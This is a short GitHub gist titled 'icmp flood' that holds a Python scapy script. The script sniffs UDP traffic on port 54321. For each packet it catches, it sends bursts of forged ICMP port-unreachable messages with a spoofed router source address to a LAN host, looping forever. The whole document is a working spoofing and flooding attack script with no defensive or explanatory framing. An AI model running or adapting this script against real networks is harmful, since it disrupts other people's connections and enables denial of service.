Skip to content

Instantly share code, notes, and snippets.

@thommyj
Created September 27, 2016 19:06
Show Gist options
  • Save thommyj/09c9f5d37500461fe26afb07995b3eb2 to your computer and use it in GitHub Desktop.
Save thommyj/09c9f5d37500461fe26afb07995b3eb2 to your computer and use it in GitHub Desktop.
icmp flood
#!/usr/bin/python
from scapy.all import *
ip = IP()
icmp = ICMP()
icmp.type = 3
ip_orig = IP()
ip_orig.src = "192.168.2.30"
ip_orig.dst = "192.168.2.1"
ip.src = "192.168.2.1"
ip.dst = "192.168.2.30"
while True:
rec = sniff(filter="udp and port 54321", count=1)
#rec.summary()
return_data = str(rec[0][IP])[:28]
for i in range(0,16):
# print i
icmp.code = 3
pkt = ip/icmp/return_data
send(pkt, count=100, verbose=0)
# srloop(pkt, inter=0.001, retry=2, timeout=4)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment